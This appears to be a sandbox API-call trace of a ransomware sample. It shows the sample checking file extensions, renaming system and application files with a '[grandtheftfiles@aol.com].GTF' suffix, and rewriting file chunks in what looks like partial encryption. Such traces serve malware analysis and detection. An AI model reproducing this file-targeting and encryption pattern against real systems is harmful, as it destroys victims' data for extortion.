	[0153.808] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0153.808] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28
	[0153.808] lstrlenW (lpString=".dbf") returned 4
	[0153.808] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0153.808] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28
	[0153.808] lstrlenW (lpString=".1cd") returned 4
	[0153.808] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0153.808] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28
	[0153.808] lstrlenW (lpString=".jpg") returned 4
	[0153.808] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0153.808] lstrcmpiW (lpString1=".ttf", lpString2=".GTF") returned 1
	[0153.809] lstrlenW (lpString="msyh_boot.ttf") returned 13
	[0153.809] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msyh_boot.ttf" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc
	[0153.809] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=156245) returned 1
	[0153.809] CloseHandle (hObject=0x3cc) returned 1
	[0153.809] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msyh_boot.ttf" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf")) returned 0x20
	[0153.809] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msyh_boot.ttf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0153.809] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msyh_boot.ttf" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0153.809] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27
	[0153.809] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27
	[0153.809] lstrlenW (lpString=".doc") returned 4
	[0153.809] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0153.809] lstrlenW (lpString=".docx") returned 5
	[0153.809] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0153.809] lstrlenW (lpString=".pdf") returned 4
	[0153.809] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0153.809] lstrlenW (lpString=".xls") returned 4
	[0153.809] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0153.809] lstrlenW (lpString=".xlsx") returned 5
	[0153.809] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0153.810] lstrlenW (lpString=".ppt") returned 4
	[0153.810] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0153.810] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27
	[0153.810] lstrlenW (lpString=".zip") returned 4
	[0153.810] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0153.810] lstrlenW (lpString=".rar") returned 4
	[0153.810] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0153.810] lstrlenW (lpString=".bz2") returned 4
	[0153.810] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0153.810] lstrlenW (lpString=".7z") returned 3
	[0153.810] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0153.810] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27
	[0153.810] lstrlenW (lpString=".dbf") returned 4
	[0153.810] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0153.810] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27
	[0153.810] lstrlenW (lpString=".1cd") returned 4
	[0153.810] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0153.810] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27
	[0153.810] lstrlenW (lpString=".jpg") returned 4
	[0153.810] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0153.810] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27
	[0153.810] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27
	[0153.810] lstrlenW (lpString=".doc") returned 4
	[0153.810] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0153.810] lstrlenW (lpString=".docx") returned 5
	[0153.810] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0153.810] lstrlenW (lpString=".pdf") returned 4
	[0153.810] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0153.810] lstrlenW (lpString=".xls") returned 4
	[0153.810] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0153.810] lstrlenW (lpString=".xlsx") returned 5
	[0153.810] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0153.810] lstrlenW (lpString=".ppt") returned 4
	[0153.810] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0153.810] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27
	[0153.810] lstrlenW (lpString=".zip") returned 4
	[0153.810] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0153.811] lstrlenW (lpString=".rar") returned 4
	[0153.811] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0153.811] lstrlenW (lpString=".bz2") returned 4
	[0153.811] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0153.811] lstrlenW (lpString=".7z") returned 3
	[0153.811] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0153.811] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27
	[0153.811] lstrlenW (lpString=".dbf") returned 4
	[0153.811] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0153.811] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27
	[0153.811] lstrlenW (lpString=".1cd") returned 4
	[0153.811] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0153.811] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27
	[0153.811] lstrlenW (lpString=".jpg") returned 4
	[0153.811] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0153.811] lstrcmpiW (lpString1=".ttf", lpString2=".GTF") returned 1
	[0153.811] lstrlenW (lpString="segmono_boot.ttf") returned 16
	[0153.811] CreateFileW (lpFileName="C:\\Boot\\Fonts\\segmono_boot.ttf" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc
	[0153.812] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=44859) returned 1
	[0153.812] CloseHandle (hObject=0x3cc) returned 1
	[0153.812] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\segmono_boot.ttf" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf")) returned 0x20
	[0153.813] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\segmono_boot.ttf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0153.813] CreateFileW (lpFileName="C:\\Boot\\Fonts\\segmono_boot.ttf" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0153.813] lstrlenW (lpString="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30
	[0153.813] lstrlenW (lpString="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30
	[0153.813] lstrlenW (lpString=".doc") returned 4
	[0153.813] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0153.813] lstrlenW (lpString=".docx") returned 5
	[0153.813] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0153.813] lstrlenW (lpString=".pdf") returned 4
	[0153.813] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0153.813] lstrlenW (lpString=".xls") returned 4
	[0153.813] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0153.813] lstrlenW (lpString=".xlsx") returned 5
	[0153.814] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0153.814] lstrlenW (lpString=".ppt") returned 4
	[0153.814] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0153.814] lstrlenW (lpString="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30
	[0153.814] lstrlenW (lpString=".zip") returned 4
	[0153.814] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0153.814] lstrlenW (lpString=".rar") returned 4
	[0153.814] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0153.814] lstrlenW (lpString=".bz2") returned 4
	[0153.814] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0153.814] lstrlenW (lpString=".7z") returned 3
	[0153.814] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0153.814] lstrlenW (lpString="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30
	[0153.814] lstrlenW (lpString=".dbf") returned 4
	[0153.814] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0153.814] lstrlenW (lpString="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30
	[0153.814] lstrlenW (lpString=".1cd") returned 4
	[0153.814] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0153.814] lstrlenW (lpString="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30
	[0153.814] lstrlenW (lpString=".jpg") returned 4
	[0153.814] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0153.814] lstrlenW (lpString="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30
	[0153.814] lstrlenW (lpString="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30
	[0153.814] lstrlenW (lpString=".doc") returned 4
	[0153.814] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0153.814] lstrlenW (lpString=".docx") returned 5
	[0153.814] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0153.814] lstrlenW (lpString=".pdf") returned 4
	[0153.814] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0153.814] lstrlenW (lpString=".xls") returned 4
	[0153.814] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0153.814] lstrlenW (lpString=".xlsx") returned 5
	[0153.814] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0153.814] lstrlenW (lpString=".ppt") returned 4
	[0153.814] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0153.814] lstrlenW (lpString="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30
	[0153.815] lstrlenW (lpString=".zip") returned 4
	[0153.815] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0153.815] lstrlenW (lpString=".rar") returned 4
	[0153.815] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0153.815] lstrlenW (lpString=".bz2") returned 4
	[0153.815] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0153.815] lstrlenW (lpString=".7z") returned 3
	[0153.815] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0153.815] lstrlenW (lpString="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30
	[0153.815] lstrlenW (lpString=".dbf") returned 4
	[0153.815] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0153.815] lstrlenW (lpString="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30
	[0153.815] lstrlenW (lpString=".1cd") returned 4
	[0153.815] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0153.815] lstrlenW (lpString="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30
	[0153.815] lstrlenW (lpString=".jpg") returned 4
	[0153.815] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0153.815] lstrcmpiW (lpString1=".mui", lpString2=".GTF") returned 1
	[0153.815] lstrlenW (lpString="bootmgr.exe.mui") returned 15
	[0153.815] CreateFileW (lpFileName="C:\\Boot\\fr-CA\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-ca\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc
	[0153.815] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=79200) returned 1
	[0153.815] CloseHandle (hObject=0x3cc) returned 1
	[0153.815] GetFileAttributesW (lpFileName="C:\\Boot\\fr-CA\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-ca\\bootmgr.exe.mui")) returned 0x20
	[0153.816] GetFileAttributesW (lpFileName="C:\\Boot\\fr-CA\\bootmgr.exe.mui.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\boot\\fr-ca\\bootmgr.exe.mui.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0153.816] CreateFileW (lpFileName="C:\\Boot\\fr-CA\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-ca\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0153.816] lstrlenW (lpString="C:\\Boot\\fr-CA\\bootmgr.exe.mui") returned 29
	[0153.816] lstrlenW (lpString="C:\\Boot\\fr-CA\\bootmgr.exe.mui") returned 29
	[0153.816] lstrlenW (lpString=".doc") returned 4
	[0153.816] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0153.816] lstrlenW (lpString=".docx") returned 5
	[0153.816] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0153.816] lstrlenW (lpString=".pdf") returned 4
	[0153.816] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0153.816] lstrlenW (lpString=".xls") returned 4
	[0153.816] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0153.816] lstrlenW (lpString=".xlsx") returned 5
	[0153.816] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0153.816] lstrlenW (lpString=".ppt") returned 4
	[0153.816] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0153.816] lstrlenW (lpString="C:\\Boot\\fr-CA\\bootmgr.exe.mui") returned 29
	[0153.816] lstrlenW (lpString=".zip") returned 4
	[0153.816] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0153.816] lstrlenW (lpString=".rar") returned 4
	[0153.816] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0153.816] lstrlenW (lpString=".bz2") returned 4
	[0153.816] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0153.816] lstrlenW (lpString=".7z") returned 3
	[0153.816] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0153.816] lstrlenW (lpString="C:\\Boot\\fr-CA\\bootmgr.exe.mui") returned 29
	[0153.816] lstrlenW (lpString=".dbf") returned 4
	[0153.816] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0153.816] lstrlenW (lpString="C:\\Boot\\fr-CA\\bootmgr.exe.mui") returned 29
	[0153.816] lstrlenW (lpString=".1cd") returned 4
	[0153.817] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0153.817] lstrlenW (lpString="C:\\Boot\\fr-CA\\bootmgr.exe.mui") returned 29
	[0153.817] lstrlenW (lpString=".jpg") returned 4
	[0153.817] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0153.817] lstrlenW (lpString="C:\\Boot\\fr-CA\\bootmgr.exe.mui") returned 29
	[0153.817] lstrlenW (lpString="C:\\Boot\\fr-CA\\bootmgr.exe.mui") returned 29
	[0153.817] lstrlenW (lpString=".doc") returned 4
	[0153.817] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0153.817] lstrlenW (lpString=".docx") returned 5
	[0153.817] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0153.817] lstrlenW (lpString=".pdf") returned 4
	[0153.817] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0153.817] lstrlenW (lpString=".xls") returned 4
	[0153.817] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0153.817] lstrlenW (lpString=".xlsx") returned 5
	[0153.817] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0153.817] lstrlenW (lpString=".ppt") returned 4
	[0153.817] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0153.817] lstrlenW (lpString="C:\\Boot\\fr-CA\\bootmgr.exe.mui") returned 29
	[0153.817] lstrlenW (lpString=".zip") returned 4
	[0153.817] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0153.817] lstrlenW (lpString=".rar") returned 4
	[0153.817] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0153.817] lstrlenW (lpString=".bz2") returned 4
	[0153.817] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0153.817] lstrlenW (lpString=".7z") returned 3
	[0153.817] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0153.817] lstrlenW (lpString="C:\\Boot\\fr-CA\\bootmgr.exe.mui") returned 29
	[0153.817] lstrlenW (lpString=".dbf") returned 4
	[0153.817] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0153.817] lstrlenW (lpString="C:\\Boot\\fr-CA\\bootmgr.exe.mui") returned 29
	[0153.817] lstrlenW (lpString=".1cd") returned 4
	[0153.817] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0153.817] lstrlenW (lpString="C:\\Boot\\fr-CA\\bootmgr.exe.mui") returned 29
	[0153.817] lstrlenW (lpString=".jpg") returned 4
	[0153.817] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0153.818] lstrcmpiW (lpString1=".mui", lpString2=".GTF") returned 1
	[0153.818] lstrlenW (lpString="bootmgr.exe.mui") returned 15
	[0153.818] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc
	[0153.818] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=79192) returned 1
	[0153.818] CloseHandle (hObject=0x3cc) returned 1
	[0153.820] GetFileAttributesW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui")) returned 0x20
	[0153.820] GetFileAttributesW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0153.820] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0153.820] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29
	[0153.820] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29
	[0153.820] lstrlenW (lpString=".doc") returned 4
	[0153.820] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0153.820] lstrlenW (lpString=".docx") returned 5
	[0153.820] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0153.820] lstrlenW (lpString=".pdf") returned 4
	[0153.820] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0153.820] lstrlenW (lpString=".xls") returned 4
	[0153.820] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0153.820] lstrlenW (lpString=".xlsx") returned 5
	[0153.820] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0153.820] lstrlenW (lpString=".ppt") returned 4
	[0153.820] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0153.820] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29
	[0153.820] lstrlenW (lpString=".zip") returned 4
	[0153.820] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0153.820] lstrlenW (lpString=".rar") returned 4
	[0153.820] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0153.820] lstrlenW (lpString=".bz2") returned 4
	[0153.820] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0153.820] lstrlenW (lpString=".7z") returned 3
	[0153.820] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0153.820] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29
	[0153.831] SetFileAttributesW (lpFileName="C:\\bootmgr", dwFileAttributes=0x26) returned 0
	[0153.833] CreateFileW (lpFileName="C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0154.406] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0
	[0154.416] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0
	[0154.418] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0
	[0154.424] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0
	[0154.685] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa", dwFileAttributes=0x20) returned 1
	[0159.147] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 1
	[0159.529] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494
	[0160.757] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fc64 | out: lpNewFilePointer=0x0) returned 1
	[0160.757] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fc24 | out: lpNewFilePointer=0x0) returned 1
	[0160.757] ReadFile (in: hFile=0x494, lpBuffer=0x3aa0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e8fc30, lpOverlapped=0x0 | out: lpBuffer=0x3aa0058*, lpNumberOfBytesRead=0x2e8fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0160.760] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x5f0000, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fc24 | out: lpNewFilePointer=0x0) returned 1
	[0160.760] ReadFile (in: hFile=0x494, lpBuffer=0x3ae0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e8fc30, lpOverlapped=0x0 | out: lpBuffer=0x3ae0058*, lpNumberOfBytesRead=0x2e8fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0160.766] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2e8fc64 | out: lpNewFilePointer=0xffffffff) returned 1
	[0160.766] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x1190000, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fc24 | out: lpNewFilePointer=0x0) returned 1
	[0160.766] ReadFile (in: hFile=0x494, lpBuffer=0x3b20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e8fc30, lpOverlapped=0x0 | out: lpBuffer=0x3b20058*, lpNumberOfBytesRead=0x2e8fc30*=0x40000, lpOverlapped=0x0) returned 1
	[0160.780] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0160.780] WriteFile (in: hFile=0x494, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2e8fca8, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fca8*=0xc0102, lpOverlapped=0x0) returned 1
	[0160.797] SetEndOfFile (hFile=0x494) returned 1
	[0160.797] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x40000) returned 0x4272990
	[0160.801] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fc74 | out: lpNewFilePointer=0x0) returned 1
	[0160.801] WriteFile (in: hFile=0x494, lpBuffer=0x4272990*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e8fc80, lpOverlapped=0x0 | out: lpBuffer=0x4272990*, lpNumberOfBytesWritten=0x2e8fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0160.891] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x5f0000, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fc74 | out: lpNewFilePointer=0x0) returned 1
	[0160.891] WriteFile (in: hFile=0x494, lpBuffer=0x4272990*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e8fc80, lpOverlapped=0x0 | out: lpBuffer=0x4272990*, lpNumberOfBytesWritten=0x2e8fc80*=0x40000, lpOverlapped=0x0) returned 1
	[0160.908] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x1190000, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fc74 | out: lpNewFilePointer=0x0) returned 1
